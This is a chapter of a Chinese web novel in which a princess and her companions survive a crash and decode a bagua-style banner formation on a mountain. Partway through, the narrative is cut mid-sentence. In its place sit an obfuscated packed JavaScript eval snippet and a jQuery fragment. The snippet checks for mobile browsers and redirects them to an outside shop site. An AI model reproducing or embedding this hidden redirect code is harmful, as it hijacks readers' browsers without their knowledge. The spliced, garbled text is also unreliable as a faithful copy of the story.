苏卿不通武艺,在这剧烈的高空颠簸中被颠的七荤八素。
机身歪斜,她感觉五脏六腑都错了位,胃里翻江倒海,指节因死死攥着座椅而泛白。这会机身猛地向一侧倾斜,她再也抓不住,整个人被甩得离了座,惊呼还未出口,一只手已经本能地朝旁边抓去
“拉住我。”
“别让我掉了。”
她已经无法保持音量,只能勉强用自己能发出的最大声音呼唤。
穆枫的手伸了过来,握住了她的腕子。可那力道别扭极了,只拽着她半条胳膊,指尖虚虚地扣着,像是被逼着、被迫做的决定,随时要松脱。
“苏姐姐,苏姐姐你怎么样?”
穆枫旁边的景轩也注意到了苏卿的惨状,急的声音都变了调。他自己也正被梓许拽着,在半空中东倒西歪,却还要分出心去看苏卿。
看她脸色煞白、发丝凌乱,又急又慌,对着梓许喊:“你能不能把小苏姐姐也一起拉住,我怕她有危险。”
音落,穆枫手臂一收,将苏卿整个人紧搂进了怀里。
他胸膛抵着苏卿的后背,手臂箍得极紧。苏卿撞进他怀里,鼻尖萦绕的竟是淡淡的檀香,混着高空冷冽的风,奇异地让人心安了下来。
而梓许被景轩吼得心烦,反手一巴掌拍在景轩后脑勺上:“苏小姐她有苏兄拉着呢,你管好自己,脑袋别扭来扭去的乱动,小心我给你丢下去。”
掉出气旋后的机关鸟一路下坠
“砰!”
机关鸟一头扎进了半山腰的泥土里,木骨铜筋被摔得粉碎,零件四散飞溅。五人骨碌碌从残破的机厢里滚了出来,在枯叶堆里翻了好几圈才停住。
梓许最先爬起来,甩了甩脑袋,先去扶景轩,随后将吴归拉了起来。
另一边,穆枫抱着苏卿栽倒在地,他松开苏卿正准备起身,就发现刚被拉起来的景轩摇晃着朝苏卿走来。
“小苏姐姐,你怎么样,摔的严重不严重,还能不能起来,我来扶你。”
穆枫起身的动作顿住了。
他当下重新伸出手,一把拽住苏卿的手臂:“姐姐,我扶你起来。”
苏卿……
怎么感觉穆枫和景轩有点不对付。
她看了看穆枫又看了看景轩,决定自己爬起来,只是她还没来得及动,穆枫已经拽着她给她拽了起来。
“小苏姐姐你有没有哪里不舒服,能走路吗,需不需要我扶着你。”景轩还是凑了上来,桃花眼里满是关切,伸手就要来搀她的胳膊。
穆枫不动声色地往苏卿身侧挪了半步,恰好挡住景轩的手:“姐姐,我扶着你走吧。”
说话间,他已经挽上了苏卿的手臂,他掌心贴着她的小臂,温度透过衣料传来。
“我没事,没事啊。”苏卿赶忙把胳膊抽了出来,往后退了半步,差点又崴到脚。她赶紧转移话题,声音带着几分刻意的轻快“那个……咱先看看这是掉哪儿来了吧。”
环顾四周,只见到处都是插满的军旗,密密麻麻。旁边那架巨型机关鸟已经彻底散架,木屑和铜片散了一地,冒着淡淡的青烟。
这时,她发现不远处吴归手里握着一截机关鸟的断木残骸,低着头紧盯着手里的断木,显得颇为沮丧。
“是我没有驾驶好机关鸟,抱歉,我害得大家又掉进麒麟迷阵里面了。”
“没事的。”苏卿出言安慰道“许是加上我和枫儿太沉了,才坠的机呢。”
梓许拍了拍吴归的肩,也点头附和:“对,当务之急应该先看看怎么通过这个迷阵。”
“啊对!”景轩也跟着点头,像是终于找回了脑子,“刚才小苏姐姐和苏兄发现这个阵旗下面有声响,应该是有机关控制,我们可以再研究一下这个阵旗。”
梓许闻言走到了一面阵旗边:“既然地下有机关那就把下面的机关捣毁。”
只见梓许双手握住了旗杆,还没等苏卿反应过来怎么回事他已经猛的发力,伴随着一声剧烈声响,碗口粗的旗杆竟被他生生撅断了!
苏卿嘴角抽搐。解决不了问题,就用蛮力解决制造问题的东西。习武之人的力气就是大啊。
梓许瞅了瞅旗杆断面,皱了皱眉,又抓着旗杆当铁锹,在原地刨了起来。梓许挖的飞快,尘土飞扬,不一会就刨了个小坑。
“加油啊梓许,加油!”
气氛组景轩光速出现在梓许面前,他蹲在旁边,手里还攥着块石头,像是要帮忙,又不知道该往哪儿砸。
其余人也围了过来。
这时,穆枫忽然开口,声音不高,却清晰地切开了嘈杂:“各位兄台,不知道你们在机关鸟上时候有没有注意到,这山上的军旗排列起来似乎像某个图案?”
穆枫竟也注意到了。
苏卿的下意识朝穆枫看去,正和穆枫视线交接,穆枫似也从苏卿眼中读出苏卿的心思,他一瞬间竟像是愣住了一样,眼里出现了一丝恍惚。
两人对视了须臾又各自收回视线。
两人打了个心照不宣的交流,景轩却是挠着头一脸的懵:“哎?图案,什么图案?我怎么没看出来。”
苏卿没管景轩,而是转向了吴归,:“吴归,你能不能凭借记忆画出刚才升空时,这座山上旗帜的大致位置。”
“苏小姐为什么觉得我能画出来。”吴归并没有回应,他退开了半步,视线聚焦,仔细的审视起苏卿。
苏卿心头了然。她与吴归他们初识不久,却精准地从三人中点出他,显然是知道他的底细。这种“被看透”的感觉,任谁都会警惕。
不过苏卿也不露怯,唇角一弯,笑得从容:“我当然知道。”
“既已是决定和诸位同行探查麒麟迷阵,对于诸位身份和擅长之事我又怎能不做功课?”
“梓许,太守长子,武艺超群,京城之中难逢敌手。”
“吴归,尚书三子,过目不忘,技巧术数一触即通。”
“景轩,少府独子。”
苏卿讲到景轩,视线也跟着落在他身上,就看见景轩正在眼冒星光,满脸期待,就等着苏卿说话。
苏卿迟疑了片刻才继续道:“玉面公子,容貌百变,神秘莫测。”
话说完,景轩眼睛更亮了,他就差原地起飞了。
嗯,传言神秘莫测,本体是只哈巴狗。
循环前怎么没有发现景轩的这性格呢?
苏卿暗自腹诽,面上却不显。她不再理会这只雀跃的哈巴狗,转向了吴归:“到了这个时候,我也不隐瞒我的身份了。我姓苏单名一个卿字,是盛朝四公主苏卿。”
她顿了顿,目光扫过三人,语气诚恳:“不瞒各位,最近我在调查一桩旧案,刚好查到这里可能会有线索,所有才希望能和诸位同行。三位大可放心,我以绝对不会干扰你们查案。”
“我很佩服你们的能力,如果可以,我希望能和你们交个朋友,未来彼此信任,相互帮助。”
苏卿环顾四周,面上带着适宜的笑意,态度诚恳。
都说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17622935|202799||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
四公主苏卿娇生惯养,自小养在深宫中集万千宠爱于一身,不问世事,如今看起看,似乎并不是传闻中那般不经事。
吴归沉默了片刻,目光在她脸上停留了几息,终于点了头:“好,就暂且信你。”
“梓许,把你挖土的旗杆给我。”
“要旗杆做什么?”梓许虽然疑惑,但也还是依然把旗杆给了吴归。
吴归接过旗杆,走到一片相对平整的空地上,抓着它,飞快地画了起来。
他先是用几根长而绵延的线条勾勒出山的大概形貌,山势起伏,沟壑纵横。然后将一面面旗杆连成的线条,在山体中一点点勾画出来,那些线条看似杂乱,却在他的笔下逐渐显露出某种规律。
随着线条在不断完善,一个阵图一角逐渐呈现在众人眼前。
“你们看这像不像八卦阵的一部分?”苏卿盯着这图案,忍不住脱口而出。
“八卦阵?”
梓许道:“这军旗是按照八卦图的样子排列的?”
苏卿点头:“很有可能。”
她接着问:“你们有谁通晓八卦五行吗?”
“八卦阵我略有涉猎。”景轩迟疑着举起了手“先前觉得好玩,看过一点。”
瞬间,所有人视线落在了景轩身上,在一众期待的目光中,景轩硬着头皮继续说道
“奇门遁甲,八门九星,以休生伤杜景死惊开为序,对应八卦中的坎、艮、震、巽、离坤;兑、乾。”
“开门直干,位在西北,主开向通达。
休直坎,位正北,主休息、安居。
生门直艮,位东北,主生育万物。
伤门直震,位正东,主疾病、灾殃。
杜门直巽,位东南,主闭塞不通。
景门直离,正位南,主鬼怪亡遗。
死门直坤,位在西南,主死丧、葬埋。
惊门直兑,位正西,主惊恐奔走。”
“若真是五行八卦,那我们走生门、开门,休门都有活路。”
他挠了挠头,又沮丧起来。
“可我们现在连掉哪儿了都不知道,怎么找生门啊。”
“不”苏卿摇头“或许我们可以确定我们现在在八卦阵的什么方位。”
似是想到了什么,苏卿看向梓许:“你轻功好,能不能带着吴归飞起来,不用太高,就飞到那棵树的树梢即可。”
苏卿指了指旁边八丈多高的柏树,柏木四季,常青参天的巨木在地面撑起一片硕大的阴影。苏卿等人此时就在阴影之中。
梓许顺着看过去,目测了一下高度,点头表示可以做到。
苏卿又转向吴归:“你被梓许带上去后留心下面的阵旗形成的图案,把他记下来,然后和现在地上的图案对照,就可以确定我们现在的位置。”
吴归点头应道:“好。”
安排妥当,梓许揽住吴归的腰,足尖一点,两人凌空跃起。他在周围低矮的树梢上借力轻点,身形如燕,飞快腾挪,最后稳稳落在柏树枝头。
约莫停了三息功夫,梓许带着吴归落回地面。
吴归拿起旗杆,圈住了山腹一处地方:“我们落在了这里。”
苏卿问景轩:“能看出来我们这是在八卦阵的什么位置吗?”
“好像……”景轩挠着头努力思考了片刻,一拍脑门“好像是在震三宫伤门。”
接着,他又指向图中山顶的位置,激动的几乎要跳了起来:“生门,生门在山顶偏西边的方位。”